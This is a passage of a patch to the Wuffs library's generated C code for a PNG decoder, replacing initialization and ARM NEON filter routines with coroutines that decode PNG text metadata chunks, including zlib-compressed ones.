wuffs_base__make_status(NULL); - -- self->private_impl.choosy_filter_1 = &wuffs_png__decoder__filter_1__choosy_default; -- self->private_impl.choosy_filter_3 = &wuffs_png__decoder__filter_3__choosy_default; -- self->private_impl.choosy_filter_4 = &wuffs_png__decoder__filter_4__choosy_default; -- self->private_impl.choosy_filter_and_swizzle = &wuffs_png__decoder__filter_and_swizzle__choosy_default; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- { -- wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( -- &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -- } -- } -- { -- wuffs_base__status z = wuffs_zlib__decoder__initialize( -- &self->private_data.f_zlib, sizeof(self->private_data.f_zlib), WUFFS_VERSION, options); -- if (z.repr) { -- return z; -+ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_png__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- } -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder); -- return wuffs_base__make_status(NULL); --} - --wuffs_png__decoder* --wuffs_png__decoder__alloc(void) { -- wuffs_png__decoder* x = -- (wuffs_png__decoder*)(calloc(sizeof(wuffs_png__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_png__decoder__initialize( -- x, sizeof(wuffs_png__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -+ ok: -+ self->private_impl.p_tell_me_more = 0; -+ goto exit; - } -- return x; --} - --size_t --sizeof__wuffs_png__decoder(void) { -- return sizeof(wuffs_png__decoder); --} -+ goto suspend; -+ suspend: -+ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; - --// ---------------- Function Implementations -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} - --// ‼ WUFFS MULTI-FILE SECTION +arm_neon --// -------- func png.decoder.filter_1_distance_4_arm_neon -+// -------- func png.decoder.do_tell_me_more - --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_4_arm_neon( -+static wuffs_base__status -+wuffs_png__decoder__do_tell_me_more( - wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr) { -- wuffs_base__slice_u8 v_curr = {0}; -- uint8x8_t v_fa = {0}; -- uint8x8_t v_fx = {0}; -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, v_fa); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, v_fa); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -- } -- v_curr.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, v_fa); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -+ uint8_t v_c8 = 0; -+ uint16_t v_c16 = 0; -+ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_w = &u_w; -+ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint64_t v_num_written = 0; -+ uint64_t v_w_mark = 0; -+ uint64_t v_r_mark = 0; -+ wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; - } -- v_curr.len = 0; - } -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --// ‼ WUFFS MULTI-FILE SECTION -arm_neon -- --// ‼ WUFFS MULTI-FILE SECTION +arm_neon --// -------- func png.decoder.filter_3_distance_4_arm_neon -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_4_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev) { -- wuffs_base__slice_u8 v_curr = {0}; -- wuffs_base__slice_u8 v_prev = {0}; -- uint8x8_t v_fa = {0}; -- uint8x8_t v_fb = {0}; -- uint8x8_t v_fx = {0}; -+ uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more; -+ if (coro_susp_point) { -+ v_zlib_status = self->private_data.s_do_tell_me_more.v_zlib_status; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (((uint64_t)(a_prev.len)) == 0u) { -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- v_curr.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -+ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) == 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } -+ if (self->private_impl.f_metadata_fourcc == 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; -+ } -+ do { -+ if (self->private_impl.f_metadata_flavor == 3u) { -+ while (true) { -+ if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_y) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -+ goto exit; -+ } else if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ self->private_impl.f_metadata_flavor, -+ self->private_impl.f_metadata_fourcc, -+ self->private_impl.f_metadata_x, -+ self->private_impl.f_metadata_y, -+ self->private_impl.f_metadata_z); -+ } -+ if (self->private_impl.f_metadata_y >= self->private_impl.f_metadata_z) { -+ goto label__goto_done__break; -+ } -+ self->private_impl.f_metadata_y = self->private_impl.f_metadata_z; -+ status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ } -+ if (self->private_impl.f_metadata_is_zlib_compressed) { -+ if (self->private_impl.f_zlib_is_dirty) { -+ wuffs_private_impl__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, -+ sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ if (self->private_impl.f_ignore_checksum) { -+ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); -+ } -+ } -+ self->private_impl.f_zlib_is_dirty = true; -+ self->private_impl.f_ztxt_hist_pos = 0u; -+ } -+ label__loop__continue:; -+ while (true) { -+ if (a_minfo != NULL) { -+ wuffs_base__more_information__set(a_minfo, -+ self->private_impl.f_metadata_flavor, -+ self->private_impl.f_metadata_fourcc, -+ self->private_impl.f_metadata_x, -+ self->private_impl.f_metadata_y, -+ self->private_impl.f_metadata_z); -+ } -+ if (self->private_impl.f_metadata_flavor != 4u) { -+ break; -+ } -+ if (self->private_impl.f_metadata_is_zlib_compressed) { -+ if (self->private_impl.f_chunk_type == 1346585449u) { -+ { -+ const bool o_0_closed_a_src = a_src->meta.closed; -+ const uint8_t* o_0_io2_a_src = io2_a_src; -+ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, -+ ((uint64_t)(self->private_impl.f_chunk_length))); -+ if (a_src) { -+ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -+ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -+ a_src->meta.wi = n; -+ } -+ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); -+ v_zlib_status = t_0; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -+ io2_a_src = o_0_io2_a_src; -+ if (a_src) { -+ a_src->meta.closed = o_0_closed_a_src; -+ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_zlib_status)) { -+ self->private_impl.f_metadata_is_zlib_compressed = false; -+ break; -+ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { -+ status = v_zlib_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ status = v_zlib_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ } else if (self->private_impl.f_chunk_type == 1951945833u) { -+ { -+ const bool o_1_closed_a_src = a_src->meta.closed; -+ const uint8_t* o_1_io2_a_src = io2_a_src; -+ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, -+ ((uint64_t)(self->private_impl.f_chunk_length))); -+ if (a_src) { -+ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -+ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -+ a_src->meta.wi = n; -+ } -+ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_1 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); -+ v_zlib_status = t_1; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -+ io2_a_src = o_1_io2_a_src; -+ if (a_src) { -+ a_src->meta.closed = o_1_closed_a_src; -+ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_zlib_status)) { -+ self->private_impl.f_metadata_is_zlib_compressed = false; -+ break; -+ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { -+ status = v_zlib_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ status = v_zlib_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ } else if (self->private_impl.f_chunk_type == 1951945850u) { -+ if (self->private_impl.f_ztxt_ri == self->private_impl.f_ztxt_wi) { -+ { -+ wuffs_base__io_buffer* o_2_v_w = v_w; -+ uint8_t* o_2_iop_v_w = iop_v_w; -+ uint8_t* o_2_io0_v_w = io0_v_w; -+ uint8_t* o_2_io1_v_w = io1_v_w; -+ uint8_t* o_2_io2_v_w = io2_v_w; -+ v_w = wuffs_private_impl__io_writer__set( -+ &u_w, -+ &iop_v_w, -+ &io0_v_w, -+ &io1_v_w, -+ &io2_v_w, -+ wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), -+ self->private_impl.f_ztxt_hist_pos); -+ { -+ const bool o_3_closed_a_src = a_src->meta.closed; -+ const uint8_t* o_3_io2_a_src = io2_a_src; -+ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, -+ ((uint64_t)(self->private_impl.f_chunk_length))); -+ if (a_src) { -+ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); -+ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); -+ a_src->meta.wi = n; -+ } -+ v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); -+ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); -+ v_zlib_status = t_2; -+ iop_v_w = u_w.data.ptr + u_w.meta.wi; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); -+ v_num_written = wuffs_private_impl__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w))); -+ io2_a_src = o_3_io2_a_src; -+ if (a_src) { -+ a_src->meta.closed = o_3_closed_a_src; -+ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); -+ } -+ } -+ v_w = o_2_v_w; -+ iop_v_w = o_2_iop_v_w; -+ io0_v_w = o_2_io0_v_w; -+ io1_v_w = o_2_io1_v_w; -+ io2_v_w = o_2_io2_v_w; -+ } -+ if (v_num_written > 1024u) { -+ status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ self->private_impl.f_ztxt_ri = 0u; -+ self->private_impl.f_ztxt_wi = ((uint32_t)(v_num_written)); -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_ztxt_hist_pos, v_num_written); -+ } -+ while (self->private_impl.f_ztxt_ri < self->private_impl.f_ztxt_wi) { -+ v_c16 = WUFFS_PNG__LATIN_1[self->private_data.f_dst_palette[self->private_impl.f_ztxt_ri]]; -+ if (v_c16 == 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); -+ goto exit; -+ } else if (v_c16 <= 127u) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ goto label__loop__continue; -+ } -+ self->private_impl.f_ztxt_ri += 1u; -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c16))), iop_a_dst += 1); -+ } else { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ goto label__loop__continue; -+ } -+ self->private_impl.f_ztxt_ri += 1u; -+ (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c16), iop_a_dst += 2); -+ } -+ } -+ if (wuffs_base__status__is_ok(&v_zlib_status)) { -+ self->private_impl.f_metadata_is_zlib_compressed = false; -+ break; -+ } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { -+ status = v_zlib_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } else if (v_zlib_status.repr != wuffs_base__suspension__short_write) { -+ status = v_zlib_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_chunk_type); -+ goto exit; -+ } -+ } else if ((self->private_impl.f_chunk_type == 1951945833u) && (self->private_impl.f_metadata_fourcc == 1263947862u)) { -+ while (true) { -+ if (self->private_impl.f_chunk_length <= 0u) { -+ goto label__loop__break; -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -+ goto label__loop__continue; -+ } else if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -+ goto label__loop__continue; -+ } -+ self->private_impl.f_chunk_length -= 1u; -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_c8), iop_a_dst += 1); -+ } -+ } else { -+ while (true) { -+ if (self->private_impl.f_chunk_length <= 0u) { -+ if (self->private_impl.f_metadata_fourcc == 1263947851u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ goto label__loop__break; -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -+ goto label__loop__continue; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (v_c8 == 0u) { -+ self->private_impl.f_chunk_length -= 1u; -+ iop_a_src += 1u; -+ goto label__loop__break; -+ } -+ v_c16 = WUFFS_PNG__LATIN_1[v_c8]; -+ if (v_c16 == 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); -+ goto exit; -+ } else if (v_c16 <= 127u) { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -+ goto label__loop__continue; -+ } -+ self->private_impl.f_chunk_length -= 1u; -+ iop_a_src += 1u; -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c16))), iop_a_dst += 1); -+ } else { -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -+ goto label__loop__continue; -+ } -+ self->private_impl.f_chunk_length -= 1u; -+ iop_a_src += 1u; -+ (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c16), iop_a_dst += 2); -+ } -+ } -+ } - } -- v_curr.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -+ label__loop__break:; -+ if (self->private_impl.f_metadata_fourcc == 1263947851u) { -+ self->private_impl.f_metadata_fourcc = 1263947862u; -+ if (self->private_impl.f_chunk_type == 1951945833u) { -+ if (self->private_impl.f_chunk_length <= 1u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 2u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if (v_c8 == 0u) { -+ self->private_impl.f_metadata_is_zlib_compressed = false; -+ } else if (v_c8 == 1u) { -+ self->private_impl.f_metadata_is_zlib_compressed = true; -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ if ((v_c8 != 0u) && self->private_impl.f_metadata_is_zlib_compressed) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -+ goto exit; -+ } -+ self->private_impl.f_metadata_fourcc -= 2u; -+ while (self->private_impl.f_metadata_fourcc != 1263947862u) { -+ self->private_impl.f_metadata_fourcc += 1u; -+ while (true) { -+ if (self->private_impl.f_chunk_length <= 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; -+ } -+ if (v_c8 == 0u) { -+ break; -+ } -+ } -+ } -+ } else if (self->private_impl.f_chunk_type == 1951945850u) { -+ if (self->private_impl.f_chunk_length <= 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 1u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; -+ } -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); -+ goto exit; -+ } -+ self->private_impl.f_metadata_is_zlib_compressed = true; -+ } -+ self->private_impl.f_call_sequence &= 239u; -+ status = wuffs_base__make_status(NULL); -+ goto ok; - } -- v_curr.len = 0; -+ } while (0); -+ label__goto_done__break:; -+ if (self->private_impl.f_chunk_length != 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- } else { -- { -- wuffs_base__slice_u8 i_slice_curr = a_curr; -- v_curr.ptr = i_slice_curr.ptr; -- wuffs_base__slice_u8 i_slice_prev = a_prev; -- v_prev.ptr = i_slice_prev.ptr; -- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); -- while (v_curr.ptr < i_end0_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 4; -- v_prev.ptr += 4; -- } -- v_curr.len = 4; -- v_prev.len = 4; -- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); -- while (v_curr.ptr < i_end1_curr) { -- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -- v_fx = vadd_u8(v_fx, vhadd_u8(v_fa, v_fb)); -- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -- v_fa = v_fx; -- v_curr.ptr += 